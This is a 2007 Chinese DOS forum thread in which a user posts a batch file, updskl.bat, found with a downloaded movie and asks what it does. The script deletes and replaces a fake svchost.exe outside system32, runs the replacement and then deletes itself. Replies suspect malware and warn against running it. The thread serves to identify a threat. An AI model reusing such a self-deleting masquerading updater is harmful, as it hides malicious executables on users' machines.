China DOS Union

-- Unite DOS · Advance DOS · Grow DOS --

Union site: www.cn-dos.net Forum site: www.cn-dos.net/forum
DOS stands for freedom, openness and progress. Let us work hard, learn from the openness and GNU spirit of FreeDOS and Linux, and together build and grow a free GNU GPL world!

中国DOS联盟论坛
The time now is 2026-08-05 18:58
中国DOS联盟论坛 » DOS批处理 & 脚本技术(批处理室) » After downloading the movie, I found the batch file updskl.bat and don't understand its intention. View 2,563 Replies 15
Original Poster Posted 2007-07-29 21:25 ·  中国 广东 深圳 电信
中级用户
★★
部落守望者
Credits 351
Posts 140
Joined 2006-06-19 17:11
20-year member
UID 57261
Gender Male
Status Offline
The movie folder contains a batch file updskl.bat with the following content:
@echo off
:loop
del "C:\Program Files\Common Files\System\svchost.exe"
del "C:\Program Files\Common Files\System\ver.txt"
del "C:\Program Files\Common Files\System\she.dll"
if exist "C:\Program Files\Common Files\System\svchost.exe" goto loop
C:
cd C:\Program Files\Common Files\System\
ren svchostnew.exe svchost.exe
call "C:\Program Files\Common Files\System\svchost.exe"
del "C:\Program Files\Common Files\System\updskl.bat"

The first step is to forcibly delete the original svchost.exe, the second step is to rename svchostnew.exe to svchost.exe and then execute it. It seems that it wants to update the svchost.exe in the System folder of the computer. I don't understand the intention? Is it dangerous? Please help analyze, thank you all!

[ Last edited by enjoyer on 2007-7-29 at 09:36 PM ]
一切从底层开始
Floor 2 Posted 2007-07-29 21:32 ·  中国 浙江 衢州 中移铁通
银牌会员
★★★
Credits 1,928
Posts 931
Joined 2007-01-06 11:46
19-year member
UID 75624
Gender Male
Status Offline
Is there any problem?

Maybe it's simulating the svchost process.
Floor 3 Posted 2007-07-29 21:39 ·  中国 广东 深圳 电信
中级用户
★★
部落守望者
Credits 351
Posts 140
Joined 2006-06-19 17:11
20-year member
UID 57261
Gender Male
Status Offline
I don't know what the relationship is with the downloaded movie files, and I also don't understand the svchost process. Will it affect the stability of my system? Please help analyze it for me upstairs, thank you.
一切从底层开始
Floor 4 Posted 2007-07-29 21:53 ·  中国 陕西 西安 电信
铂金会员
★★★★
Credits 5,212
Posts 2,478
Joined 2007-02-08 23:39
19-year member
UID 79003
Gender Male
Status Offline
The SVCHOST of the system is under SYSTEM32, and the one there is not a normal system file.
Floor 5 Posted 2007-07-29 22:09 ·  俄罗斯 莫斯科 华为云
中级用户
★★
我是DOS学者
Credits 367
Posts 180
Joined 2006-05-14 10:53
20-year member
UID 55507
Gender Male
From 重庆
Status Offline
It's a bit dangerous, not recommended to run, feels like it~~ After all, there's no relation between the movie and svchost.
Floor 6 Posted 2007-07-30 00:04 ·  中国 广东 深圳 电信
中级用户
★★
部落守望者
Credits 351
Posts 140
Joined 2006-06-19 17:11
20-year member
UID 57261
Gender Male
Status Offline
I'm afraid it's automatically running. If it doesn't run automatically, there's nothing to be afraid of.
一切从底层开始
Floor 7 Posted 2007-07-30 12:24 ·  中国 上海 静安区 电信
中级用户
★★
Credits 397
Posts 168
Joined 2006-10-08 10:07
19-year member
UID 64934
Status Offline
I think your movie file might be fake! The icon is [icon], but the suffix at the end of the file is not!
Note, it's the end,
There will be such files:
001.avi(N many spaces).exe
The icon is fake
Floor 8 Posted 2007-07-30 16:47 ·  新加坡 Verizon通讯公司UUNet互联点
初级用户
Credits 88
Posts 43
Joined 2007-05-30 22:09
19-year member
UID 89807
Gender Male
Status Offline
What the person above said is very likely. It is suggested that the original poster still take a look~
Floor 9 Posted 2007-07-30 21:30 ·  中国 广东 肇庆 四会市 电信
中级用户
★★
Credits 384
Posts 189
Joined 2005-10-19 13:12
20-year member
UID 43709
Gender Male
Status Offline
I don't know, anyway, just don't open it...
Floor 10 Posted 2007-08-02 22:58 ·  中国 江苏 连云港 电信
中级用户
★★
传说中的菜鸟
Credits 275
Posts 112
Joined 2005-04-22 00:00
21-year member
UID 38486
Gender Male
Status Offline
There must be something wrong with this batch processing. The path of svchost.exe is incorrect.
Floor 11 Posted 2007-08-03 12:45 ·  中国 广东 肇庆 电信
初级用户
★★
Credits 165
Posts 74
Joined 2007-01-08 08:17
19-year member
UID 75816
Gender Male
Status Offline
Floor 12 Posted 2007-08-03 17:07 ·  中国 江苏 南京 鼓楼区 电信
初级用户
Credits 30
Posts 15
Joined 2007-05-26 20:44
19-year member
UID 89405
Gender Male
Status Offline
Floor 13 Posted 2007-08-03 21:41 ·  中国 广东 深圳 电信
中级用户
★★
部落守望者
Credits 351
Posts 140
Joined 2006-06-19 17:11
20-year member
UID 57261
Gender Male
Status Offline
Thank you everyone for your help! The downloaded movie file is real (.rm format) and can play normally. I didn't pay any more attention to this batch file. But I don't know if it secretly runs during movie playback.
一切从底层开始
Floor 14 Posted 2007-08-07 01:29 ·  中国 广东 江门 电信
初级用户
★★
Credits 167
Posts 95
Joined 2007-05-06 09:19
19-year member
UID 87628
Gender Male
Status Offline
Rename that file and then study it~~
Floor 15 Posted 2007-08-27 19:44 ·  中国 广东 深圳 诺瓦科技发展有限公司
初级用户
Credits 32
Posts 21
Joined 2007-08-22 13:29
18-year member
UID 95593
Gender Male
Status Offline
svchost.exe is very important
The building owner should be more careful
Forum Jump: